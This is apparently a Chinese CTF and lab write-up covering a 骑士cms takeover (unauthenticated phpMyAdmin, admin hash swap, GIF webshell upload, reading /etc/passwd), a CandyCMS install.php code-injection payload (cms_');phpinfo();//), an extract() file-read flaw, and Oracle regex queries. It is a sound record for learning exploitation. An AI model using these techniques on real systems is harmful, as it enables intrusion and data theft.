前言
想去打 hackergame 了(
攻防部分(渗透&应急)
数安评估
flag1
请选手通过数据安全评估手段分析人事招聘系统,接管因未授权所造成的功能或接口隐患,并将其企业会员拉美科技有限公司手机号作为答案提交。
【答案标准】例:若获取的手机号为13812345678,则最终答案为:13812345678。
http://192.168.94.110/ 骑士cms
访问 ?s=a ,发现开了debug模式
dirsearch 扫出 phpMyAdmin,未授权直接进去了
在 qs_admin 拿到 admin 账密:admin:114145e496608de636a182ca7710a015:nZ7MsM
在 qs_admin_identity_token 拿到 token:1391e419f5b3873b93ba8f2e9cf9d12e
在 qs_admin_log 拿到 flag1
在 qs_config 中得到部分配置
mysql/qishicms/qs_config/ http://192.168.94.110/phpMyAdmin/index.php?route=/sql&pos=0&db=qishicms&table=qs_config
正在显示第 0 - 24 行 (共 199 行, 查询花费 0.0003 秒。)
SELECT * FROM `qs_config`
id name is_frontend value note is_secret
1 sitename 1 骑士人才系统 网站名称 0
2 sitedomain 1 http://192.168.94.110/ 域名 0
3 sitedir 1 / 目录 0
4 contact_tel 1 000-0000000 网站联系电话 0
5 fileupload_type 0 文件上传方式 0
6 fileupload_size 1 5120 文件上传最大限制(kb) 0
7 fileupload_ext 1 bmp,png,gif,jpeg,jpg,pdf,doc,docx,xls,xlsx,zip,7z,... 文件上传后缀 0
8 contact_email 0 xxx@xxx.xxx 网站联系邮箱 0
9 contact_address 1 00省00市00路00号0大厦00楼 联系地址 0
10 bottom_other 1 Copyright © 2021 74cms.com All Right Reserved Powe... 其他说明 0
11 icp 1 icp000000000 备案号 0
12 isclose 1 0 暂时关闭网站 0
13 close_reason 1 关闭网站原因 0
14 statistics 1 第三方统计代码 0
15 logo 1 网站logo 0
16 closereg 1 0 关闭会员注册 0
17 reg_prefix 0 user_ 注册生成用户名前缀 0
18 agreement 0 请完善注册协议 注册协议 0
19 privacy 0 请完善隐私政策 隐私政策 0
20 map_lng 1 112.565573 地图经度 0
21 map_lat 1 37.869472 地图纬度 0
22 map_zoom 1 13 地图缩放级别 0
23 map_ak 1 百度地图ak 0
24 map_server_ak 0 百度地图服务端ak 0
25 points_byname 1 积分 积分代替名 0
flag2
请选手通过数据安全评估手段分析人事招聘系统,获取该系统的shell权限,并将系统用户uid为1000的用户名作为答案提交。
【答案标准】例:若系统uid为1000的用户名为admin,则最终答案为admin。
查询一下
mysql/ http://192.168.94.110/phpMyAdmin/index.php?route=/server/sql
您的 SQL 语句已成功运行。
show global variables like '%secure%';
require_secure_transport OFF
secure_auth ON
secure_file_priv /var/lib/mysql-files/
mysql/ http://192.168.94.110/phpMyAdmin/index.php?route=/server/sql
您的 SQL 语句已成功运行。
show variables like "%plugin%";
default_authentication_plugin mysql_native_password
plugin_dir /usr/lib64/mysql/plugin/
replication_optimize_for_static_plugin_config OFF
测试发现 admin 登录接口传入的password会直接md5加密一次
但是直接传入无法登录,应该不是一次md5加密,测试发现也不是两次md5
采用移动端登录,抓包发现请求头这里多了个 admintoken,
qs_member 表中得到 13758293461:87c37a4a0c9a7485e90dee10f2aacd93:sfuqvq
把加密后的 password 和 pwd_hash 都替换到 qs_admin,然后就能以 123456 为密码进后台了
后台进去之后更新缓存,然后就能上传php文件了
但是测试发现上传的文件好像存在二次渲染和内容检测
最后是在前台的头像上传处传 gif 马才成功拿shell的
执行cat /etc/passwd
拿到flag2
数据安全(CTF)
easycms(复现)
CVE-2024-31022
账密爆破得到admin:admin
审计源码,注意到这里有文件读取可以目录穿越:
cms-admin/ajax/templatecf.php
if (isset($_POST['template'])) {
CustomFields::templateFields($_POST['template']);
public static function templateFields($template) {
$theme = CandyDB::col('SELECT option_value FROM '.DB_PREFIX.'options WHERE option_key = :key', array('key' => 'theme'));
$file = THEME_PATH.$theme.'/templates/'.$template.'.php';
$contents = file_get_contents($file);
后缀写死php
注意到这里有个uploader.php
<?
// todo: Make this a little more secure!
require_once '../core/config.php';
// files storage folder
$dir = '../uploads/';
$_FILES['file']['type'] = strtolower($_FILES['file']['type']);
if ($_FILES['file']['type'] == 'image/png'
|| $_FILES['file']['type'] == 'image/jpg'
|| $_FILES['file']['type'] == 'image/gif'
|| $_FILES['file']['type'] == 'image/jpeg'
|| $_FILES['file']['type'] == 'image/pjpeg')
{
// setting file's mysterious name
$file = md5(date('YmdHis')).'.jpg';
// copying
copy($_FILES['file']['tmp_name'], $dir.$file);
// displaying file
$array = array('filelink' => URL_PATH.'uploads/'.$file);
echo stripslashes(json_encode($array));
}
//
//{
// "error": "Hi! It's error message"
//}
能文件上传,但是后缀写死了为jpg
Plugins 里面能开启那个一片空白的插件,对应源码里的blog,但是没啥用
写的 text 可以 xss ,但是没啥用
install.php 只要指定 install 参数就可以无限重装,观察写入的 sql 语句,尝试在 email 处闭合括号进行注入,失败
http://www.nsfocus.net/vulndb/97525
https://web.archive.org/web/20240424094723/https://www.xuxblog.top/2024/03/25/CandyCMS-Pre-Auth-RCE/
原来直接闭合往 config.php 写shell就行了!
漏洞点就在 install.php 这里
<div id="container">
<? if (isset($_GET['install'])) : ?>
<h1>Installer</h1>
<?
$currentmodal = substr(sprintf('%o', fileperms('./core')), -4);
if ($currentmodal != "0755" && $currentmodal != "0777") {
$result = @chmod($path."core", 0755);
if (!$result) {
diehard("Sorry, we couldn't modify the directory permissions of /core.");
}
}
$dir = trim($_SERVER['PHP_SELF'], 'install.php');
$dbhost = $_POST['dbhost'];
$dbusername = $_POST['dbusername'];
$dbpassword = $_POST['dbpassword'];
$dbname = $_POST['dbname'];
$dbprefix = $_POST['dbprefix'];
$config = "<?\n\n";
$config .= "/**\n";
$config .= "* @package CMS\n";
$config .= "* @version 0.1\n";
$config .= "* @copyright Copyright 2012 (C) Cocoon Design Ltd. - All Rights Reserved\n";
$config .= "*\n";
$config .= "* Config for CMS - Will be generated by installer\n";
$config .= "*/\n\n";
$config .= "# This is set to MySQL by default but can be changed to your DB of choice\n";
$config .= "define('DB_DRIVER', 'mysql');\n\n";
$config .= "define('DB_HOST', '$dbhost');\n";
$config .= "define('DB_USERNAME', '$dbusername');\n";
$config .= "define('DB_PASSWORD', '$dbpassword');\n";
$config .= "define('DB_NAME', '$dbname');\n";
$config .= "define('DB_PREFIX', '$dbprefix');\n\n";
$config .= "define('SALT', '873hjcbdi1kammcvjnj0u3jn');\n\n";
$config .= "# Define where CMS is installed WITH trailing slash\n";
$config .= "define('CMS_PATH', \$_SERVER['DOCUMENT_ROOT'].'$dir');\n\n";
$config .= "define('URL_PATH', '$dir');\n";
$config .= "define('THEME_PATH', CMS_PATH.'themes/');\n";
$config .= "define('THEME_URL', URL_PATH.'themes/');\n";
$config .= "define('PLUGIN_PATH', CMS_PATH.'plugins/');\n";
$config .= "define('PLUGIN_URL', URL_PATH.'plugins/');";
$fp = @fopen('core/config.php', 'w');
if (!$fp) {
diehard("Sorry, we couldn't write to core/config.php.");
} else {
fwrite($fp, $config);
fclose($fp);
}
这里会写文件到 core/config.php,文件的内容是 $config 参数拼接的,这个参数是我们可控的,那么直接闭合注入我们的php代码即可
选择在 $dbprefix 这里进行代码注入
cms_');phpinfo();//
此时的 core/config.php
就写入我们的php代码了
因为后面有文件包含所以安装完就会直接执行我们的代码
Holdon
www.zip 源码泄露
可以知道flag就在web根目录下,文件名为 flllllllllllllllllllllllllllllll4lllllllllll4g.php
那么需要找一个能够文件读取的地方
观察controller
<?php
class BaseController
{
private $viewPath;
public function loadView($viewName ='', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
}
}
<?php
class UserController extends BaseController
{
public function actionList()
{
$params = $_REQUEST;
$userModel = new UserModel();
$listData = $userModel->getPageList($params);
$this->loadView('userList', $listData );
}
public function actionIndex()
{
$listData = $_REQUEST;
$this->loadView('userIndex',$listData);
}
}
这里用 extract
接收参数给变量赋值,存在变量覆盖
而 /View/userIndex.php 这里
<?php
if(!isset($img_file)) {
$img_file = '/../favicon.ico';
}
$img_dir = dirname(__FILE__) . $img_file;
$img_base64 = imgToBase64($img_dir);
echo '<img src="' . $img_base64 . '">'; //图片形式展示
?>
那么我们只需要覆盖 img_file 路径就能任意读文件了
数据治理(Oracle运维)
dump下来sql文件到本地测试,删去开头的数据库信息和TABLESPACE "T_TABLESPACE"
,注释掉所有DROP
即可导入
猜测评测的匹配语句,编写我们的正则表达式,注意 oracle 好像用不了unicode
SELECT * FROM "个人基本概况信息"
WHERE
REGEXP_LIKE("IDNumber", '((?<=[^\d])|^)((1[1-5])|(2[1-3])|(3[1-7])|(4[1-6])|(5[0-4])|(6[1-5])|(71)|(8[1-2]))\d{4}(19|20)\d{2}((0[1-9])|10|11|12)(([0-2][1-9])|10|20|30|31)\d{3}[0-9Xx]((?=[^\d])|$)')
AND REGEXP_LIKE("IDDate",'((?:19|20)\d\d)-(0[1-9]|1[012])-(0[1-9]|[12][0-9]|3[01])')
AND REGEXP_LIKE("Gender",'男|女')
AND REGEXP_LIKE("Name",'^[一-龥]{2,5}$')
AND REGEXP_LIKE("Marital",'单身|已婚|离异');
SELECT * FROM "个人联系信息"
WHERE
REGEXP_LIKE("MOBILE",'^1[3-9]\d{9}$')
AND REGEXP_LIKE("TELEPHONE",'^\d{3,4}-\d{7,8}$')
AND REGEXP_LIKE("EMAIL",'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$');
SELECT * FROM "个人地理位置信息"
WHERE
REGEXP_LIKE("Country",'^[一-龥]{2}$')
AND REGEXP_LIKE("City",'^[一-龥]{2,4}$');
SELECT * FROM "个人职业信息"
WHERE
REGEXP_LIKE("Employer", '^\w{0,5}[一-龥]{0,4}$')
AND REGEXP_LIKE("DATE",'((?:19|20)\d\d)[- /.](0[1-9]|1[012])[- /.](0[1-9]|[12][0-9]|3[01])')
AND REGEXP_LIKE("PTitle",'^\w{0,2}[一-龥]{0,6}$');
SELECT * FROM "传统鉴别信息"
WHERE
REGEXP_LIKE("CVN", '^\d{1,3}$')
AND REGEXP_LIKE("EXP",'((?:19|20)\d\d)(0[1-9]|1[012])(0[1-9]|[12][0-9]|3[01])')
AND REGEXP_LIKE("Code",'^\d{4,6}$');
SELECT * FROM "金额信息"
WHERE
REGEXP_LIKE("CTACCOUNT", '^\d{7,9}$')
AND REGEXP_LIKE("CTBALANCE",'^\d{4,6}$')
AND REGEXP_LIKE("CTCURRENCY",'^[一-龥]{2,4}$');
SELECT * FROM "合同基本信息"
WHERE
REGEXP_LIKE("CONTRACTNO", '^SA-\d{5}-\d{4}$')
AND REGEXP_LIKE("CTDATE",'^\d{4}-\d{1,2}-\d{1,2}$')
AND REGEXP_LIKE("CONTRACTAMOUNT",'^\d{7,9}$')
AND REGEXP_LIKE("CURRENCY",'^[一-龥]{2,4}$');
SELECT * FROM "保单基本信息"
WHERE
REGEXP_LIKE("PolicyNo", '^AA-\d{4}-\d{10}$')
AND REGEXP_LIKE("Insurer",'^[一-龥]{2,4}$')
AND REGEXP_LIKE("Beneficiary",'^[一-龥]{2,4}$');
SELECT * FROM "特殊风险标的信息"
WHERE
REGEXP_LIKE("Equipment", '^LMN')
AND REGEXP_LIKE("Driver",'^\d{17,19}$');
SELECT * FROM "交易基本信息"
WHERE
REGEXP_LIKE("TDate", '((?:19|20)\d\d)(0[1-9]|1[012])(0[1-9]|[12][0-9]|3[01])')
AND REGEXP_LIKE("EFFDATE",'((?:19|20)\d\d)(0[1-9]|1[012])(0[1-9]|[12][0-9]|3[01])');
-- AND REGEXP_LIKE("Place",'') 这个不知道为什么全是乱码
SELECT * FROM "交易对手信息"
WHERE
REGEXP_LIKE("CUSTOMERNAME", '^[一-龥]{2,4}$')
AND REGEXP_LIKE("CUSTOMERBANK",'^[一-龥]{4,8}$')
AND REGEXP_LIKE("ACCOUNT",'^\d{16,20}$');
但是最后也才砍了160分。。